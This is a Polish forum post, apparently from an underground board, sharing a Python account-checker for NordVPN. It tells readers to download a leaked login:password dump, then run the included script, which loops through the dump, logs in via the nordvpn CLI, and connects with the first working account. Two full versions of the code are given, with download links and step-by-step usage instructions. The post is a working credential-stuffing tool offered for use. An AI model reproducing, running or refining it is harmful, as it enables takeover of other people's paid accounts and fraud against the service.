1 Ostatnio edytowany przez Ralts (2021-03-26 PM)

Temat: Skrypt do sprawdzania kont NordVPN

Cześć jako że chciałbym dołączyć do grupy cebulkowiczów to na wstępie przedstawiam program w Pythonie ktory automatycznie loguje z pliku z loginami i haslami. Znalazlem plik z hasłami i loginami na forum i mnie tknęło czemu nie zrobić programu który szuka i loguje z automatu a nie ręcznie każdy login każe wpisywać.

Wymagania:
- Linux (testowane na Debianie)
- Nordvpn (oczywiscie pod linuxa)
- Python3

Czyli robimy tak:
Pobieramy paczke loginów i haseł którą pewien dobry użytkownik udostępnił:
/cebulka/viewtopic/10590

Pobieramy mój program:
https://anonfiles.com/ybNcz1mau6/loger_py

tu jest kod

Spoiler (Pokaż)

import os

konta = open("nord.txt", "r")

def zerowanie():
    plik_raport = open("raport.txt", "w")
    plik = open("konto.txt", "w")
    plik_raport.close()
    plik.close()

for loginy in konta:
    temp_log = loginy
    login = temp_log[0:temp_log.find(":")]
    haslo = temp_log[temp_log.find(":") +1 : temp_log.find(" ")]
    plik = open("konto.txt", "w")
    plik.write(login)
    plik.write('\n')
    plik.write(haslo)
    plik.write('\n')
    plik.close()
    os.system('nordvpn logout')
    os.system('nordvpn login < konto.txt > raport.txt')
    plik_rap = open("raport.txt", "r")
    temp_rap = plik_rap.read()
    plik_rap.close()
    if 'not' in temp_rap:
        zerowanie()
        continue
    else:
        print("znalazlem login")
        print("Lacze ....")
        os.system('nordvpn connect')
        if 'failed' in temp_rap:
            continue
        else:
            print("Dzialające konto to: ")
            plik = open("konto.txt", "r")
            print(plik.read())
            plik.close()
            break

konta.close()

Teraz tak:
oba pliki umieszczamy w jednym katalogu
zmieniamy nazwe pliku z loginami na "nord.txt"
uruchamiamy konsole w katalogu z programem i wpisujemy:
python3 loger.py
i czekamy aż znajdzie nam dzialający login i sie polączy trwa naprawde różnie zależy który jest dostępny.

Program testowałem i działa zajebiscie.
Możńa dorzucic dodatkową baze loginów do pliku tylko trzeba pamietac żeby mialy taki format jak reszta czyli "login:hasło "
Po "haslo" zrobic SPACJE

Myśle że program sie komuś przyda sam go używam bo lepsze to niż reczne sprawdzanie loginów.

------UPDATE --------
Niestety program się wypierdalał kiedy zbyt wielu było zalogowanych na jedno konto. Teraz go poprawiłem i lepiej potestowałem.
Nowy link do loger2
https://anonfiles.com/q6D380m5u2/loger2_py
wszystko robimy tak samo tylko skrypt uruchamiamy poleceniem "python3 loger2.py"

tutaj nowy kod

Spoiler (Pokaż)

import os

konta = open("nord.txt", "r")

def zerowanie():
    plik_raport = open("raport.txt", "w")
    plik = open("konto.txt", "w")
    plik_raport.close()
    plik.close()

zerowanie()
for loginy in konta:
    temp_log = loginy
    login = temp_log[0:temp_log.find(":")]
    haslo = temp_log[temp_log.find(":") +1 : temp_log.find(" ")]
    plik = open("konto.txt", "w")
    plik.write(login)
    plik.write('\n')
    plik.write(haslo)
    plik.write('\n')
    plik.close()
    os.system('nordvpn logout')
    os.system('nordvpn login < konto.txt > raport.txt')
    plik_rap = open("raport.txt", "r")
    temp_rap = plik_rap.read()
    plik_rap.close()
    if 'not' in temp_rap:
        zerowanie()
        continue
    else:
        print("znalazlem login")
        print("Lacze ....")
        os.system('nordvpn connect > raport.txt')
        plik_rap = open("raport.txt", "r")
        temp_rap = plik_rap.read()
        plik_rap.close()
        if 'failed' in temp_rap:
            print("Z kontem nie da się połączyć ... lecę dalej ...")
            continue
            continue
        else:
            print("Dzialające konto to: ")
            plik = open("konto.txt", "r")
            print(plik.read())
            plik.close()
            os.system('nordvpn status')
            break

konta.close()

Uruchomic program, pojsc zrobic kawe, wrocic i byc zalogowanym.

Ralts: poprawiona nazwa tematu